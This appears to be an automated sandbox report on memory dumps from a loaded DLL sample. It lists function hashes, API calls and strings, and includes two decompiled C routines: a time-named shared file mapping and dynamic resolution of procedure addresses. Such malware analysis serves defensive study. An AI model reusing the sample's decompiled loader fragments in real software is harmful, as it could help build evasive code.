Memory Dump Source

Source File: 00000000.00000002.497344661.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 768c052ca849f483fdd076475d2e89a74d3d3ca4bb12cef8182fe1ab2cfa68a8
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: C811E6733411119FD714CE59DC80EA273EAFB89230B268166ED08CB312D736E801C760

Uniqueness

Uniqueness Score: -1.00%

Function 6D7322F9, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497344661.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c84f22b3cc78628e4c069225da77c858ff700800577a2065164e0eac194b3da
Instruction ID: 36cdf6e33aff61ca0dd5c55170035a43b9d202b720bde3d5f5011127bc2353ae
Opcode Fuzzy Hash: 2c84f22b3cc78628e4c069225da77c858ff700800577a2065164e0eac194b3da
Instruction Fuzzy Hash: 5201C0363542628FD72DCA29DA84D79BBE8FBC1730B16C07AC5468B616D220E841CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D700947, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bebc977af7d34d5d22399dccb5525bf99a1a508f202cdd2d67311cd910c47a08
Instruction ID: bee339bd3b78b997dc0966d88c0d36bef60505ec86f1dfe5cfe5af9557b82e76
Opcode Fuzzy Hash: bebc977af7d34d5d22399dccb5525bf99a1a508f202cdd2d67311cd910c47a08
Instruction Fuzzy Hash: 55E08CB3921228EBCB10DFC9CA08A8AB3ECEB49A64B1140A6B615E3150C370DE00C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6D70293A, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6D70297E

Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056CE
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056E0
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056F2
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705704
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705716
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705728
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70573A
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70574C
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70575E
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705770
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705782
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705794
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7057A6

_free.LIBCMT ref: 6D702973

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D702995
_free.LIBCMT ref: 6D7029AA
_free.LIBCMT ref: 6D7029B5
_free.LIBCMT ref: 6D7029D7
_free.LIBCMT ref: 6D7029EA
_free.LIBCMT ref: 6D7029F8
_free.LIBCMT ref: 6D702A03
_free.LIBCMT ref: 6D702A3B
_free.LIBCMT ref: 6D702A42
_free.LIBCMT ref: 6D702A5F
_free.LIBCMT ref: 6D702A77

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction ID: 331b47eafbd56f21f8c4fbc37dcff1f123749972833534dbf2440adee6551933
Opcode Fuzzy Hash: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction Fuzzy Hash: A13190B2608702AFEB318A34DA44B6673E9BF45324F12452AE95DD7190DF71F841CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F94D0, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F95CB
type_info::operator==.LIBVCRUNTIME ref: 6D6F95F2
___TypeMatch.LIBVCRUNTIME ref: 6D6F96FE
CatchIt.LIBVCRUNTIME ref: 6D6F9753
IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F97D9
_UnwindNestedFrames.LIBCMT ref: 6D6F9860
CallUnexpected.LIBVCRUNTIME ref: 6D6F987B

Strings

csm, xrefs: 6D6F950B
csm, xrefs: 6D6F9629
csm, xrefs: 6D6F9578

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction ID: d277426115a80f230a5ef08fff2d893d67ecd374529666c0b87c08fe26f7b64f
Opcode Fuzzy Hash: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction Fuzzy Hash: DBC16B71C08A0AAFCF19CFA4C8809AEBB76BF4C318F11445BE9256B215D731D652CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD268, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D6FD27E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D6FD28A
_free.LIBCMT ref: 6D6FD295
_free.LIBCMT ref: 6D6FD2A0
_free.LIBCMT ref: 6D6FD2AB
_free.LIBCMT ref: 6D6FD2B6
_free.LIBCMT ref: 6D6FD2C1
_free.LIBCMT ref: 6D6FD2CC
_free.LIBCMT ref: 6D6FD2D7
_free.LIBCMT ref: 6D6FD2E5

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction ID: bd8ea57ccb27f362a011f6b362522ebe86ef667ec87233c79e5462d753ab33c8
Opcode Fuzzy Hash: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction Fuzzy Hash: F321B876948508AFCF41DF94C890DDD7BBAEF48244F028166EA1D9B125DB31EA46CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6D700339, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d423e74cc21513dc1a0292210b9b4c6ef8ed6c047b1761d1af9aaa4dc489b61
Instruction ID: d8df4f2bb36a19a0d0b3dc5338692da961b34c54ee4ea13997642228a79c9fc3
Opcode Fuzzy Hash: 7d423e74cc21513dc1a0292210b9b4c6ef8ed6c047b1761d1af9aaa4dc489b61
Instruction Fuzzy Hash: 4AC1D5B0A482469FDB01CF99C981FADBBF6BF8A334F01416AE558972C1C7709941CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1979, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D6B1979(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6D6B2210();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6d6b41d0;
				_push(_t15 + 0x6d6b505e);
				_push(_t15 + 0x6d6b5054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6D6B220A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t34 = CreateFileMappingW(0xffffffff, 0x6d6b41c0, 4, 0, _t18,  &_v60);
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0);
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6d6b1979
0x6d6b1982
0x6d6b1986
0x6d6b198c
0x6d6b1991
0x6d6b1996
0x6d6b1999
0x6d6b199c
0x6d6b19a1
0x6d6b19a2
0x6d6b19a5
0x6d6b19b0
0x6d6b19b7
0x6d6b19bb
0x6d6b19bd
0x6d6b19be
0x6d6b19c1
0x6d6b19c6
0x6d6b19d0
0x6d6b19d2
0x6d6b19d2
0x6d6b19ec
0x6d6b19f0
0x6d6b1a40
0x6d6b19f2
0x6d6b19fb
0x6d6b1a11
0x6d6b1a19
0x6d6b1a2b
0x6d6b1a2f
0x00000000
0x00000000
0x6d6b1a1b
0x6d6b1a1e
0x6d6b1a23
0x6d6b1a25
0x6d6b1a25
0x6d6b1a06
0x6d6b1a08
0x6d6b1a31
0x6d6b1a32
0x6d6b1a32
0x6d6b19fb
0x6d6b1a48

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?,?), ref: 6D6B1986
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6D6B199C
_snwprintf.NTDLL ref: 6D6B19C1
CreateFileMappingW.KERNEL32(000000FF,6D6B41C0,00000004,00000000,?,?), ref: 6D6B19E6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B19FD
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 6D6B1A11
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B1A29
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A), ref: 6D6B1A32
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B1A3A

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 0079a77cdab76c4d51a2b81982b8493352bd3d9c6d084706724bea82e7d7724e
Instruction ID: 733bfa9946f1d431bb0c2b03097584455c065812e9aaaa23a38ac8af5fa9411b
Opcode Fuzzy Hash: 0079a77cdab76c4d51a2b81982b8493352bd3d9c6d084706724bea82e7d7724e
Instruction Fuzzy Hash: C121CFB2640108BFDB11AFA9DC85FEE7BBCEB4D354F118025F615D7180DB74A9618B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D705850, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6D705818: _free.LIBCMT ref: 6D70583D

_free.LIBCMT ref: 6D70589E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7058A9
_free.LIBCMT ref: 6D7058B4
_free.LIBCMT ref: 6D705908
_free.LIBCMT ref: 6D705913
_free.LIBCMT ref: 6D70591E
_free.LIBCMT ref: 6D705929

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction ID: 1d151e6b5131e8a50262f27947612d3a5d74395fbe0ddf1605f1559f05417abf
Opcode Fuzzy Hash: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction Fuzzy Hash: 6C1106B1489B14B6D620A770CC0AFDB77DDAF05714F824C14BB9E661D0C731B4014F99

Uniqueness

Uniqueness Score: -1.00%

Function 6D70354B, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000001,00000000), ref: 6D703593
__fassign.LIBCMT ref: 6D703772
__fassign.LIBCMT ref: 6D70378F
WriteFile.KERNEL32(?,6D6FF5F6,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7037D7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6D703817
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7038C3

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction ID: b2cee0d4d9ef85382a047999efd643142898c878b6e37ed4526705eefe670aa4
Opcode Fuzzy Hash: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction Fuzzy Hash: 79D1BEB5D002599FCF11CFE8CA809EDBBF5BF49324F1540AAE855BB281D730A946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1AA5, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B1AA5(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6D6B1C8F(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6d6b41d0 + 0x6d6b5014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b50e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6D6B136A(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b50f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b5104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b5119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6d6b41d0 + 0x6d6b512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6D6B18D1(_t56, _a12);
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6d6b1ab3
0x6d6b1ab7
0x6d6b1b78
0x6d6b1abd
0x6d6b1ad5
0x6d6b1ae4
0x6d6b1aeb
0x6d6b1aef
0x6d6b1af2
0x6d6b1b70
0x6d6b1b71
0x6d6b1af4
0x6d6b1b01
0x6d6b1b05
0x6d6b1b08
0x00000000
0x6d6b1b0a
0x6d6b1b17
0x6d6b1b1b
0x6d6b1b1e
0x00000000
0x6d6b1b20
0x6d6b1b2d
0x6d6b1b31
0x6d6b1b34
0x00000000
0x6d6b1b36
0x6d6b1b43
0x6d6b1b47
0x6d6b1b4a
0x00000000
0x6d6b1b4c
0x6d6b1b52
0x6d6b1b58
0x6d6b1b5d
0x6d6b1b64
0x6d6b1b67
0x00000000
0x6d6b1b69
0x6d6b1b6c
0x6d6b1b6c
0x6d6b1b67
0x6d6b1b4a
0x6d6b1b34
0x6d6b1b1e
0x6d6b1b08
0x6d6b1af2
0x6d6b1b86

APIs

Part of subcall function 6D6B1C8F: HeapAlloc.KERNEL32(00000000,?,6D6B117D,?,00000000,00000000,?,?,?,6D6B1810), ref: 6D6B1C9B

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,6D6B1272,?,?,?,?), ref: 6D6B1AC9
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1AEB
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B01
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B17
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B2D
GetProcAddress.KERNEL32(00000000,?), ref: 6D6B1B43

Part of subcall function 6D6B18D1: memset.NTDLL ref: 6D6B1950

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocHandleHeapModulememset
String ID:
API String ID: 426539879-0
Opcode ID: 487648487e50393e6c01b543455732146803c47d6dd1fccf4825cf00297f2088
Instruction ID: a44adb1ebba86161162c0ef377a3e710a3dfddedd16d4e431ff65348425634e9
Opcode Fuzzy Hash: 487648487e50393e6c01b543455732146803c47d6dd1fccf4825cf00297f2088
Instruction Fuzzy Hash: 8F21EEB160060EAFDB50DF69C880E6A77FCFB0D688B014526E959C7211E774E925CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9199, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F91A7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D6F91B5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D6F91CE
SetLastError.KERNEL32(00000000,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F9220

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction ID: d466be70f120863584409a9ed591909336d26e2100611045cd2e4f3a3f0deb23
Opcode Fuzzy Hash: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction Fuzzy Hash: E401F53611DA1A5EEB100E756C84A6E7677EB0F77D762023BE624810D0EF524853D154

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9279, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6D6F9340
___AdjustPointer.LIBCMT ref: 6D6F9363
___AdjustPointer.LIBCMT ref: 6D6F93FF

Strings

yom, xrefs: 6D6F92D8

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AdjustPointer
String ID: yom
API String ID: 1740715915-2702784548
Opcode ID: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction ID: 8c16236d1a10d2484b70a101d47360a674e44e2ebac332b7aec64a3b9f0bdfa1
Opcode Fuzzy Hash: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction Fuzzy Hash: E551A073608E069FDB198F55C840BBE77B6FF4931CF10442AE915862D0D731E952CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D701207, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6D70120C

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction ID: 49e756555a771f09dd4bff4bef018842bb1b50df0536a485e80a74627be04b0b
Opcode Fuzzy Hash: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction Fuzzy Hash: 9F217FF170820AAF97009F658E8096B77EDAB4537C7018625FE18D71D0EB30EC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D7057AF, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D7057C7

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7057D9
_free.LIBCMT ref: 6D7057EB
_free.LIBCMT ref: 6D7057FD
_free.LIBCMT ref: 6D70580F

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction ID: e0884cbcc449103436624f84af3fe2bfcbc55fe5675f7b295a8fb2c34fb5df20
Opcode Fuzzy Hash: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction Fuzzy Hash: 86F04F7140D625D7CB20DE59E5C0C6AB3EABF45721B62082AF85CD7580CB30F8808EAA

Uniqueness

Uniqueness Score: -1.00%

Function 6D700B8B, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D700D25

Strings

*?, xrefs: 6D700BCE

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction ID: 361e04844e7f5fde425f99e7369ddcd8629c2c91771759e013b38b8ccbb52694
Opcode Fuzzy Hash: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction Fuzzy Hash: B4615DB5D0421A9FCB14CFA9C9809EEFBF5FF48324B15816AE815E7380D771AE418B91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F8E20, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6D6F8E5F
__IsNonwritableInCurrentImage.LIBCMT ref: 6D6F8F13

Strings

yom, xrefs: 6D6F8F2C
csm, xrefs: 6D6F8EFD

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$yom
API String ID: 3480331319-1127704295
Opcode ID: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction ID: d7218f7950f046afde2feaa81d96461c074a472d3ad999e7e69f426f4df99081
Opcode Fuzzy Hash: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction Fuzzy Hash: 4041D874A046199FCF04CF69C880AAEBBB6FF4D328F058195E9185B361C732DE16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9886, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6D6F98AB
CatchIt.LIBVCRUNTIME ref: 6D6F9991

Strings

MOC, xrefs: 6D6F98BD
RCC, xrefs: 6D6F98C5

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction ID: 774bf0e80ec7ec7231b925bae5bc05a542279d58da3f5b3de66c55d5cee43fcf
Opcode Fuzzy Hash: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction Fuzzy Hash: 20417B7190060AAFCF15CF94CC80AEE7BB6BF4C308F1A405AFA1867214D335A952DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC310, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,6D72947C,00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC325
GetProcAddress.KERNEL32(00000000,6D729494), ref: 6D6FC338
FreeLibrary.KERNEL32(00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC35B

Strings

yom, xrefs: 6D6FC349

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: yom
API String ID: 4061214504-2702784548
Opcode ID: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction ID: 6bf2be877491b0fc9ca659aba6afc36e21426f4b83a763a9853bf35cc695a2d1
Opcode Fuzzy Hash: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction Fuzzy Hash: CFF0E23250051AFBDF019B50CD88BEEBB75EB08351F084064E906A1090DB318F00DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D706CDD, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D706DAD
_free.LIBCMT ref: 6D706DD6
SetEndOfFile.KERNEL32(00000000,6D704603,00000000,6D6FFCD2,?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000), ref: 6D706E08
GetLastError.KERNEL32(?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000,?,?,?,?,00000000,?), ref: 6D706E24

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction ID: 734a409c293ce8a6992f1390e63f3c259f359cfd578b5d44a0a374c554c87fb9
